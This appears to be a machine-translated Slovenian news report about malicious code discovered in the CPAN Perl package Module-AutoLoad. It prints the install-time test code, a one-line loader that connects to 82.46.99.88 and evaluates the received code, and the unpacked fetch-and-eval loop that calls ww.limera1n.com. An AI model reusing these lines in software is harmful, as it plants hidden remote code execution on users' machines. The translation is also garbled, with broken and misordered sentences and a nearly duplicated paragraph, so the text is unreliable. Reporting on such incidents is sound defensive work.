V Perl-paket Module-AutoLoad je bil odkrit zlonamerni koda

V distribucijskem Perl paketu CPAN Module-AutoLoad, namenjen avtomatskemu nalaganju CPAN modulov v realnem času, je bil odkrit zlonamerna koda. Zlonamerna vložitev je bila najdena v testnem kodu 05_rcx.t, ki je bil na voljo od leta 2011.
Omeniti je treba, da so se že leta 2016 pojavila vprašanja o nalaganju dvomljivega kode. Stackoverflow Zlonamerna dejavnost se nanaša na poskuse nalaganja in izvajanja kode s zunanjega strežnika (http://r.cx:1/) med izvajanjem testnega sklopa, ki se zažene pri namestitvi modula. Predpostavlja se, da prvotno nalagana koda s zunanjega strežnika ni bila zlonamerna, vendar je zdaj zahteva preusmerjena na domeno ww.limera1n.com, ki dostavlja svojo kodo za izvajanje.

Za organizacijo nalaganja se v datoteki

uporablja naslednja koda: 05_rcx.t my $prog = __FILE__;

$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
Navedena koda povzroči izvajanje skripte

../contrib/RCX.pl , vsebina katere je strnjena v nizu:use lib do{eval && botstrap(«RCX») if $b = new IO::Socket::INET 82.46.99.88.»:1″};

Ta skripta nalaga

zmedi s pomočjo storitve perlobfuscator.com kodo z zunanjega gostitelja r.cx (koda simbolov 82.46.99.88 ustreza besedilu «R.cX») in jo izvaja v bloku eval. $ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.»:1″; print ;’

eval unpack u=>q{_<‘)I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
Po razpakiranju se izvrši naslednje

print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak kodo:

«; eval or return warn $@ while $b; 1
Trenutno je problematični paket odstranjen iz skladišča

PAUSE (Perl Authors Upload Server), avtorjeva račun pa je bil blokiran. Modul pa ostaja v arhivu MetaCPAN in se ga lahko neposredno namesti z MetaCPAN s pomočjo nekaterih orodij, kot je cpanminus. je na voljo , da paket ni bil široko razširjen. Opazi seZanimivo je, da je bilo razpravljeno

in avtor modula, ki je zanikal informacije, da je bila zlonamerna koda vključena po napadu na njegovo spletno stran «r.cx», je pojasnil, da se je preprosto zabaval, perlobfuscator.com pa ni uporabljal za skrivanje česa, ampak za zmanjšanje velikosti kode in olajšanje njene kopiranja prek odložišča. Izbira imena funkcije «botstrap» je pojasnjena z dejstvom, da se to besedo »zvoči kot bot in je krajša od bootstrap«. Avtor modula je prav tako zagotovil, da ugotovljene manipulacije ne povzročajo zlonamernih dejanj, temveč le prikazujejo nalaganje in izvajanje kode preko TCP. priključio se Zanimivo je, da se je k razpravi o tem, kako se avtor modula, ki je oporekal informacijam, da naj bi bila zlonamerna koda vdelana po napadu na njegovo stran "r.cx", pojasnil, da se je preprosto zabaval, ter da je bil perlobfuscator.com uporabljen ne za skrivanje česa, temveč za zmanjševanje velikosti kode in olajşevanje njene kopiranja preko odložišča. Pojasnilo, zakaj je bilo izbrano ime funkcije "botstrap", je, da "zveni kot bot in je krajše od bootstrap". Avtor modula je prav tako zagotovil, da ugotovljene manipulacije ne povzročajo zlonamernih dejanj, temveč le prikazujejo nalaganje in izvajanje kode preko TCP.

Izvor: opennet.ru